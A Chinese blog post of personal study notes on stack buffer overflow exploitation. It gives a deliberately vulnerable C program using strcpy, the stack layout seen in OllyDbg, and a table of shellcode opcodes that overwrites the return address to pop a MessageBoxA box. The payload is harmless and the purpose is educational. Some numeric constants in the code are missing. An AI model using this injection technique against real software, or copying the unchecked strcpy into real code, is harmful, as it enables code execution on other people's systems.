OD: Exploit Me - Inject Instruction
修改之前的代码:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h> #define PASSWORD "" int verify_password(char *password)
{
int authenticated=0x03050709;
char buffer[]; // add local buf to be overflowed
authenticated=strcmp(password,PASSWORD);
strcpy(buffer, password); // overflow here
return authenticated;
} int main()
{
int valid_flag=;
char password[];
LoadLibrary("user32.dll"); // for messagebox
if(!freopen("password.txt","r",stdin))
//FILE *fp;
//if(!(fp=fopen("password.txt","rw+")))
{
printf("file open error!\n");
exit();
}
scanf("%s",password);
//fscanf(fp,"%s",password);
printf("password input: %s\n",password);
valid_flag=verify_password(password);
if(valid_flag){
printf("Incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n\n");
}
//fclose(fp);
return ;
}
注意三处改变:
1. 头文件加入 windows.h
2. 第 11 行 verify_password() 的局部变量 buffer 长度增加为 44,便于填充代码
3. 第 21 行,为填充的代码使用 MessageBox() 作准备。
另外,函数返回地址、MessageBox() 的入口地址要随环境变化重新确定,这些地址可能依赖 OS 的补丁。
UltraEdit 编辑 password.txt,输入 11 组 dcba,由前面的笔记可知,authenticated 会被 overwrite 为 0,可以通过 verify_password() 验证。
OD 调试得出 verify_password() 的栈帧结构为:
| …… |
| buffer[0..3] - 起始于 0x0012FABC |
| buffer[4..7] |
| …… |
| …… |
| buffer[40..43] |
| int authenticated |
| 前栈帧 EBP - 0x0012FAEC : 0x0012FF48 |
| Ret Addr - 0x0012FAF0 : 0x00401248 |
| …… |
Windows 系统中的 User32.dll 中有 MessageBoxA 函数,接下来通过将二进制代码作为 password 输入并溢出覆盖 RetAddr 后调用 MessageBox() 演示代码注入。
实际上,Windows 在执行 MessageBox 时会根据参数类型选择 A 类函数(ASCII) 或 W 类函数(Unicode) 进一步调用 MessageBoxA() 或者 MessageBoxW() 。这些知识可参阅 MFC & Windows API。
调用 MessageBox() 需要先做三件事:
1. 加载 User32.dll,这个在主函数中(开篇代码第 21 行)完成了。
2. 获取 MessageBox() 的入口地址。
3. 将 MessageBox() 的参数入栈。
关于 MessageBox() 的入口地址,原书介绍的方法是利用 Visual C++ 的工具 Dependency Walker。我下载了 Dependency Walker 2.2 并加载了一个带 UI 的程序,找到 User32.dll 地装载基址是 0x77D10000,MessageBoxA() 的偏移是 0x0005EA11,算出来 MessageBoxA() 的入口地址是:
0x77D10000 + 0x0005EA11 = 0x77D6EA11
但调试后发现这个计算出的入口不对,最后是通过在程序中调用 MessageBoxA() 并调试,才发现 MessageBoxA() 的入口应该是 0x7768EA11,偏差 0x6E0000,不知道为什么,这个问题留着以后完成。

这个,作为参数插入的机器码如下所示:
| 机器码 | 汇编码 | 备注 |
| 33 DB | XOR EBX EBX | 压入 "failwest" 的结尾截断符 NULL,与"PUSH 0"等效,但能防止 0 被 strcpy 截断。 |
| 53 | PUSH EBX | |
| 68 77 65 73 74 | PUSH 74736577 | 压入"failwest" 字符串 |
| 68 66 61 69 6C | PUSH 6C696166 | |
| 8B C4 | MOV EAX,ESP | 将字符串指针放入 EAX |
| 53 | PUSH EBX |
MessageBoxA() 的四个参数从右向左依次入栈,参数为 (0,failwest,failwest,0) 消息框为默认风格,标题和内容都是 failwest |
| 50 | PUSH EAX | |
| 50 | PUSH EAX | |
| 53 | PUSH EBX | |
| B8 0E 02 D1 77 | MOV EAX,0x77D1020E | 调用 MessageBoxA() |
| FF D0 | CALL EAX |

注意,上图中多出的 0x90 对应的机器码是 nop(空指令)。
这样,运行后 buffer 会被机器码覆盖,原栈帧 EBP 会被 0x90909090 覆盖,而返回地址会被 buffer 的首地址 0x0012FABC 覆盖。
函数 verify_password() 返回后,EIP 会指向 buffer[],导致 MessageBoxA() 被执行,代码注入完成。
这一节存在的问题是:
1. 如前文描述 MessageBoxA() 的入口地址计算出错,还不知道原因。
2. 注入的 MessageBoxA() 执行后程序会崩溃,因为注入的代码没有安全退出,栈帧和寄存器状态被破坏。
2014年4月7日19:00:55
OD: Exploit Me - Inject Instruction的更多相关文章
- OD: Exploit Me - Overwrite Return Address
修改邻接变量的方法对代码环境限制比较多,更通用.更强大的方法是修改 EBP.返回地址等状态值. 为了方便调试,修改之前的代码如下: #include<stdio.h> #include&l ...
- OD: Exploit Me - Overwrite Nearby Varible
实验代码: #include<stdio.h> #include<string.h> #define PASSWORD "1234567" int veri ...
- 在angular中利用分页插件进行分页
必需:angular分页js和css 当然还有angular.js 还需要bootstrap的css angular.min.js (下面我直接把插件粘贴上去了,以免有的同学还要去找.是不是很贴 ...
- OD: Kernel Exploit - 2 Programming
本节接前方,对 exploitme.sys 进行利用. exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用. 获取 HalDis ...
- OD: Kernel Exploit - 1
第 22 章,内核漏洞利用技术 首先编写具有漏洞的驱动 exploitme.sys,再展开内核漏洞利用思路和方法: /***************************************** ...
- OD: Heap Exploit : DWORD Shooting & Opcode Injecting
堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是 ...
- OD: Shellcode / Exploit & DLL Trampolining
看到第五章了. 标题中 Dll Tramplining(跳板)名字是从如下地址找到的,写的很好: http://en.wikipedia.org/wiki/Buffer_overflow#The_ju ...
- RCE via XStream object deserialization && SECURITY-247 / CVE-2016-0792 XML reconstruction Object Code Inject
catalogue . Java xStream . DynamicProxyConverter . java.beans.EventHandler . RCE via XStream object ...
- gdb windbg and od use
gdb aslr -- 显示/设置 gdb 的 ASLR asmsearch -- Search for ASM instructions in memory asmsearch "int ...
随机推荐
- Centos 中 vim 的配置
工欲善其事,必先利其器,我们要用好 vim 就先来把它配置的顺手一点,这样可以大大提高我们的工作学习效率 1.跳转指令 Ctags1 从下面地址下载ctags,将其中的ctags.exe复制到vim目 ...
- 解决easyui datagrid加载数据时,checkbox列没有根据checkbox的值来确定是否选中
背景: 昨天帮朋友做一个easyui datagrid的小实例时,才发现easyui datagrid的checkbox列,没有根据值为true或false来选中checkbox,当时感觉太让人失 ...
- 基于jquery的页面预载入效果(loading)
css代码: <style> #loading{ position:absolute; width:300px; top:0px; left:50%; margin-left:-150px ...
- iScroll 下拉刷新
<!doctype html> <html> <head> <meta charset="utf-8"> <script ty ...
- UNIX时间戳及日期的转换与计算
UNIX时间戳是保存日期和时间的一种紧凑简洁的方法,是大多数UNIX系统中保存当前日期和时间的一种方法,也是在大多数计算机语言中表示日期和时间的一种标准格式.以32位整数表示格林威治标准时间,例如,使 ...
- sersync做实时同步(第一步)
两台主机,一台主服务器(192.168.0.109).一台目标服务器(192.168.0.212) 1.配置目标服务器(192.168.0.212);就是配置rsync服务器.在配置文件/etc/rs ...
- 深入浅出Java 重定向和请求转发的区别
深入浅出Java 重定向和请求转发的区别 <span style="font-family:FangSong_GB2312;font-size:18px;">impor ...
- JS对undefined,null,NaN判断
1.判断undefined: <span style="font-size: small;">var tmp = undefined; if (typeof(tmp) ...
- 学习python的记录
今天买了本head first pyhton,目的用于更加方便的学习自动化,希望可以坚持下来,没看完一张,在博客园里做出笔记 环境:公司或家中的windows7 python3.6版本 书籍:hea ...
- IOS 网络编程 代码
// ViewController.m // 16_网络编程 // Created by lanou3g on 14-12-19. // Copyright (c) 2014年 mxt. Al ...